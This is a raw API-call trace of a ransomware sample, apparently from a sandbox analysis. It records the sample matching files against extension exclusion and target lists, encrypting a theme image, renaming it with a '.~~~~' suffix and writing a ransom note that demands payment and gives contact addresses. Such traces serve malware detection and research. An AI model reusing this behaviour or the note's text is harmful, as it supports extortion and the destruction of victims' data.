	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0085.487] lstrlenW (lpString=".bat") returned 4
	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0085.487] lstrlenW (lpString=".cpl") returned 4
	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0085.487] lstrlenW (lpString=".sys") returned 4
	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0085.487] lstrlenW (lpString=".msc") returned 4
	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0085.487] lstrlenW (lpString=".com") returned 4
	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0085.487] lstrlenW (lpString=".lnk") returned 4
	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0085.487] lstrlenW (lpString=".msp") returned 4
	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0085.487] lstrlenW (lpString=".pif") returned 4
	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0085.487] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0085.487] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0085.487] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.489] lstrlenW (lpString=".sqb") returned 4
	[0085.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0085.489] lstrlenW (lpString=".ost") returned 4
	[0085.489] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0085.489] lstrlenW (lpString=".txt") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0085.490] lstrlenW (lpString=".mdt") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0085.490] lstrlenW (lpString=".BDB") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0085.490] lstrlenW (lpString=".eql") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0085.490] lstrlenW (lpString=".DBF") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0085.490] lstrlenW (lpString=".EQL") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0085.490] lstrlenW (lpString=".FDB") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0085.490] lstrlenW (lpString=".EDB") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0085.490] lstrlenW (lpString=".DACPAC") returned 7
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0085.490] lstrlenW (lpString=".VHD") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0085.490] lstrlenW (lpString=".DBV") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0085.490] lstrlenW (lpString=".dacpac") returned 7
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0085.490] lstrlenW (lpString=".sdf") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0085.490] lstrlenW (lpString=".accdb") returned 6
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0085.490] lstrlenW (lpString=".DBX") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0085.490] lstrlenW (lpString=".MDT") returned 4
	[0085.490] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0085.490] lstrlenW (lpString=".SQB") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0085.491] lstrlenW (lpString=".vhd") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0085.491] lstrlenW (lpString=".bac") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0085.491] lstrlenW (lpString=".mdf") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0085.491] lstrlenW (lpString=".BAK") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0085.491] lstrlenW (lpString=".BAC") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0085.491] lstrlenW (lpString=".dbs") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0085.491] lstrlenW (lpString=".vhdx") returned 5
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0085.491] lstrlenW (lpString=".NDF") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0085.491] lstrlenW (lpString=".dat") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0085.491] lstrlenW (lpString=".DBS") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0085.491] lstrlenW (lpString=".CKP") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0085.491] lstrlenW (lpString=".edb") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0085.491] lstrlenW (lpString=".PST") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".PST") returned 0x0
	[0085.491] lstrlenW (lpString=".dbf") returned 4
	[0085.491] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".dbf") returned 0x0
	[0085.491] lstrlenW (lpString=".SQL") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".SQL") returned 0x0
	[0085.492] lstrlenW (lpString=".pst") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".pst") returned 0x0
	[0085.492] lstrlenW (lpString=".dbv") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".dbv") returned 0x0
	[0085.492] lstrlenW (lpString=".SDF") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".SDF") returned 0x0
	[0085.492] lstrlenW (lpString=".dtxs") returned 5
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".dtxs") returned 0x0
	[0085.492] lstrlenW (lpString=".db3") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".db3") returned 0x0
	[0085.492] lstrlenW (lpString=".OST") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".OST") returned 0x0
	[0085.492] lstrlenW (lpString=".dbx") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".dbx") returned 0x0
	[0085.492] lstrlenW (lpString=".DB3") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".DB3") returned 0x0
	[0085.492] lstrlenW (lpString=".DAT") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".DAT") returned 0x0
	[0085.492] lstrlenW (lpString=".VHDX") returned 5
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".VHDX") returned 0x0
	[0085.492] lstrlenW (lpString=".ndf") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".ndf") returned 0x0
	[0085.492] lstrlenW (lpString=".DB") returned 3
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".DB") returned 0x0
	[0085.492] lstrlenW (lpString=".sql") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".sql") returned 0x0
	[0085.492] lstrlenW (lpString=".MYD") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".MYD") returned 0x0
	[0085.492] lstrlenW (lpString=".DBT") returned 4
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".DBT") returned 0x0
	[0085.492] lstrlenW (lpString=".ACCDB") returned 6
	[0085.492] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".ACCDB") returned 0x0
	[0085.492] lstrlenW (lpString=".fdb") returned 4
	[0085.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".fdb") returned 0x0
	[0085.493] lstrlenW (lpString=".bak") returned 4
	[0085.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".bak") returned 0x0
	[0085.493] lstrlenW (lpString=".myd") returned 4
	[0085.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".myd") returned 0x0
	[0085.493] lstrlenW (lpString=".DTXS") returned 5
	[0085.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".DTXS") returned 0x0
	[0085.493] lstrlenW (lpString=".ckp") returned 4
	[0085.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".ckp") returned 0x0
	[0085.493] lstrlenW (lpString=".dbt") returned 4
	[0085.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".dbt") returned 0x0
	[0085.493] lstrlenW (lpString=".db") returned 3
	[0085.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".db") returned 0x0
	[0085.493] lstrlenW (lpString=".TXT") returned 4
	[0085.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".TXT") returned 0x0
	[0085.493] lstrlenW (lpString=".MDF") returned 4
	[0085.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".MDF") returned 0x0
	[0085.493] lstrlenW (lpString=".bdb") returned 4
	[0085.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".bdb") returned 0x0
	[0085.493] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0085.493] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0085.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x28045a8
	[0085.493] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0085.493] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0085.494] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0085.494] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0085.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0085.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0085.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x380730
	[0085.494] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20548430832) returned 1
	[0085.494] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9cc50670, dwHighDateTime=0x1d60e1e)) 
	[0085.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0085.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0085.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0085.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39d070
	[0085.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0085.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d070 | out: hHeap=0x300000) returned 1
	[0085.494] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0085.494] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0085.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3abf48
	[0085.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0085.495] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0085.495] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abf48 | out: hHeap=0x300000) returned 1
	[0085.495] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0085.495] GetLastError () returned 0x0
	[0085.495] GetLastError () returned 0x0
	[0085.495] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0085.495] GetLastError () returned 0x0
	[0085.495] GetLastError () returned 0x0
	[0085.497] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb395, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0085.497] WriteFile (in: hFile=0x11c, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x4c6b, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x4c6b, lpOverlapped=0x0) returned 1
	[0085.497] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0085.497] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.498] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0085.498] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0085.498] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0085.498] CloseHandle (hObject=0x11c) returned 1
	[0085.498] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fad8
	[0085.498] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.~~~~")) returned 1
	[0085.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38fad8 | out: hHeap=0x300000) returned 1
	[0085.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0085.499] GetLastError () returned 0x0
	[0085.499] RtlWakeConditionVariable () returned 0x365f70
	[0085.499] GetCurrentThreadId () returned 0xaf0
	[0085.499] GetCurrentThreadId () returned 0xaf0
	[0085.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0085.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac098 | out: hHeap=0x300000) returned 1
	[0085.499] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d038 | out: hHeap=0x300000) returned 1
	[0085.499] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ac098
	[0085.499] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
	[0085.500] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0085.500] WriteFile (in: hFile=0x11c, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x1f8fed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x1f8fed8*=0x35c, lpOverlapped=0x0) returned 1
	[0085.501] CloseHandle (hObject=0x11c) returned 1
	[0085.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac098 | out: hHeap=0x300000) returned 1
	[0085.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0085.501] RtlWakeConditionVariable () returned 0x365f70
	[0085.501] GetCurrentThreadId () returned 0xaf0
	[0085.501] GetCurrentThreadId () returned 0xaf0
	[0085.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abb58
	[0085.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abff0 | out: hHeap=0x300000) returned 1
	[0085.501] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39cdd0 | out: hHeap=0x300000) returned 1
	[0085.501] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abff0
	[0085.501] lstrlenW (lpString=".scr") returned 4
	[0085.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".scr") returned 0x0
	[0085.501] lstrlenW (lpString=".cmd") returned 4
	[0085.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".cmd") returned 0x0
	[0085.501] lstrlenW (lpString=".dll") returned 4
	[0085.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".dll") returned 0x0
	[0085.501] lstrlenW (lpString=".bat") returned 4
	[0085.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".bat") returned 0x0
	[0085.501] lstrlenW (lpString=".cpl") returned 4
	[0085.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".cpl") returned 0x0
	[0085.501] lstrlenW (lpString=".sys") returned 4
	[0085.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".sys") returned 0x0
	[0085.501] lstrlenW (lpString=".msc") returned 4
	[0085.501] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".msc") returned 0x0
	[0085.501] lstrlenW (lpString=".com") returned 4
	[0085.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".com") returned 0x0
	[0085.502] lstrlenW (lpString=".lnk") returned 4
	[0085.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".lnk") returned 0x0
	[0085.502] lstrlenW (lpString=".msp") returned 4
	[0085.502] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF", lpSrch=".msp") returned 0x0
	[0085.502] lstrlenW (lpString=".pif") returned 4
